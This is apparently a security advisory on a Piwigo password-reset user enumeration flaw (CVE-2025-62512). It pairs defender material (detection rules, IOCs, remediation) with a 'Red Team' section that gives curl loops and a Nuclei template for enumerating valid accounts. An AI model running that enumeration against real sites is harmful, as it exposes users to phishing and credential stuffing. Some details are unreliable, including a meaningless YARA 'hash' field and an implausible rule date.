CVE-2025-62512

Executive Summary

CVE-2025-62512 is a user enumeration vulnerability in Piwigo, an open-source photo gallery application. The flaw resides in the password reset functionality (password.php?action=lost). An unauthenticated attacker can determine whether a given username or email address exists in the system by observing distinct response messages for valid versus invalid accounts. This information disclosure aids in targeted attacks such as credential stuffing or phishing. The vulnerability affects Piwigo version 15.5.0 and likely earlier 15.x releases. No official patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – attacker learns if an account exists
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the direct impact is limited to information disclosure, the ability to enumerate valid usernames significantly increases the risk of subsequent attacks (e.g., brute-force, phishing). The EPSS score of 0.02263 (84.692nd percentile) indicates low exploitation likelihood currently, but this may change as PoC spreads.

Deep Dive & Mechanics

The vulnerability is a classic example of CWE-204 (Response Discrepancy Information Exposure). The password reset endpoint at password.php?action=lost processes a POST request with parameters pwg_token, username_or_email, and submit. The application returns different HTTP response bodies depending on whether the submitted username or email exists:

• Valid account: Returns a success message indicating a password reset email has been sent.
• Invalid account: Returns the message "Invalid username or email".

This discrepancy allows an unauthenticated attacker to enumerate valid accounts by iterating through a list of potential usernames or email addresses. The attack requires a valid pwg_token extracted from the initial GET request to /password.php.

The provided Nuclei template demonstrates the attack flow:

1. Send a GET request to /password.php to obtain the pwg_token.
2. Send a POST request to /password.php?action=lost with a random non-existent email and the extracted token.
3. Check for the "Invalid username or email" string in the response body to confirm the vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Piwigo 15.5.0): The password reset logic likely contains a conditional check that returns different messages based on whether the user exists. A simplified example:

// Vulnerable: distinct messages
if (user_exists($username_or_email)) {
    send_reset_email($username_or_email);
    echo "Password reset email sent.";
} else {
    echo "Invalid username or email";
}

Patched Code (Hypothetical): A secure implementation would return a generic message regardless of account existence to prevent enumeration:

// Patched: unified message
send_reset_email_if_exists($username_or_email);
echo "If the account exists, a password reset email has been sent.";

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target Piwigo instance (version 15.5.0 or earlier 15.x)
• List of potential usernames or email addresses

Exploitation Steps:

1. Extract CSRF token:

   curl -s http://target/password.php | grep -oP 'name="pwg_token"\s+value="([a-f0-9]+)"' | cut -d'"' -f4
   

2. Enumerate users:

   TOKEN=$(curl -s http://target/password.php | grep -oP 'name="pwg_token"\s+value="([a-f0-9]+)"' | cut -d'"' -f4)
   for user in admin user1 test; do
     response=$(curl -s -X POST http://target/password.php?action=lost \
       -d "pwg_token=$TOKEN&username_or_email=$user&submit=Change+my+password")
     if [[ "$response" != *"Invalid username or email"* ]]; then
       echo "Valid user: $user"
     fi
   done
   

Nuclei Template (Provided):

id: CVE-2025-62512

info:
  name: Piwigo - User Enumeration via Password Reset
  author: DhiyaneshDk
  severity: medium
  description: |
    Piwigo is an open source photo gallery application for the web. In version 15.5.0 and likely earlier 15.x releases, the password reset functionality in Piwigo allows an unauthenticated attacker to determine whether a given username or email address exists in the system. The endpoint at password.php?action=lost returns distinct messages for valid vs. invalid accounts, enabling user enumeration. As of time of publication, no known patches are available.
  impact: |
    Unauthenticated attackers can enumerate valid usernames or email addresses, aiding further targeted attacks.
  remediation: |
    Update to the latest version when available or apply mitigations to unify response messages.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-h4wx-7m83-xfxc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-62512
    epss-score: 0.02263
    epss-percentile: 0.84692
    cwe-id: CWE-204
  metadata:
    verified: true
    max-request: 2
    vendor: piwigo
    product: piwigo
    shodan-query: http.html:"Piwigo"
    fofa-query: body="Piwigo"
  tags: cve,cve2025,piwigo,user-enum,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /password.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - 'name="pwg_token"\s+value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /password.php?action=lost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pwg_token={{token}}&username_or_email=nonexistent-{{rand_int(10000,99999)}}@example.com&submit=Change+my+password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Invalid username or email"

      - type: status
        status:
          - 200

Blue Team (Defender)

Detection:

• Monitor for repeated POST requests to /password.php?action=lost with different username_or_email values from the same source IP.
• Alert on abnormal volume of password reset attempts (e.g., >10 requests per minute from a single IP).
• Look for requests containing the string "Invalid username or email" in the response body.

Hunting:

• Search web server logs for POST /password.php?action=lost with varying username_or_email parameters.
• Correlate with failed login attempts to identify potential enumeration campaigns.

Mitigation:

• Implement rate limiting on the password reset endpoint.
• Use a Web Application Firewall (WAF) to block automated enumeration attempts.
• Apply a virtual patch by modifying the application code to return a generic message regardless of account existence.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /password.php?action=lost with multiple username_or_email values
  • Response body containing "Invalid username or email" (for invalid accounts)
  • Response body containing "Password reset email sent" (for valid accounts)

• Logs:

  • Web server access logs showing repeated POST requests to /password.php?action=lost from the same IP
  • Application logs showing multiple password reset attempts in a short time window

• File System:

  • No specific file-based IOCs; this is a logic vulnerability

Detection Engineering

YARA Rule

rule CVE_2025_62512_Piwigo_User_Enum {
    meta:
        description = "Detects Piwigo user enumeration via password reset response discrepancy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62512"
        hash = "490a004630440220346f842bb2ab50dc16edb2abe3bf351908668576707d042e5078ee039d0538e4022014e0ba64ec0a0d1ed5455a30fdf37888c759616fe50b0d998988536a5d59d11f"
    strings:
        $s1 = "Invalid username or email" ascii wide nocase
        $s2 = "Password reset email sent" ascii wide nocase
        $s3 = "password.php?action=lost" ascii wide nocase
    condition:
        any of ($s*) and #s3 > 5
}

Sigma Rule

title: Piwigo User Enumeration via Password Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple password reset attempts to Piwigo's password.php endpoint, indicating user enumeration.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62512
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /password.php
        cs-uri-query: action=lost
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate users forgetting passwords
level: medium
tags:
    - attack.t1589
    - cve.2025.62512

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62512 Piwigo User Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/password.php"; http_uri; content:"action=lost"; http_uri; content:"username_or_email="; http_client_body; pcre:"/username_or_email=[^&]+/"; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Unify response messages: Modify the password reset logic to return the same message for both valid and invalid accounts (e.g., "If the account exists, a password reset email has been sent.").
2. Rate limiting: Implement rate limiting on the /password.php?action=lost endpoint to prevent automated enumeration.
3. CAPTCHA: Add CAPTCHA or similar challenge to the password reset form.

Long-term Fix:

• Apply the official patch when released by Piwigo.
• Upgrade to a patched version once available.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests with multiple username_or_email parameters.
• Monitor and alert on abnormal password reset activity.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 8E4F9EBA94337B8C01792F98] */}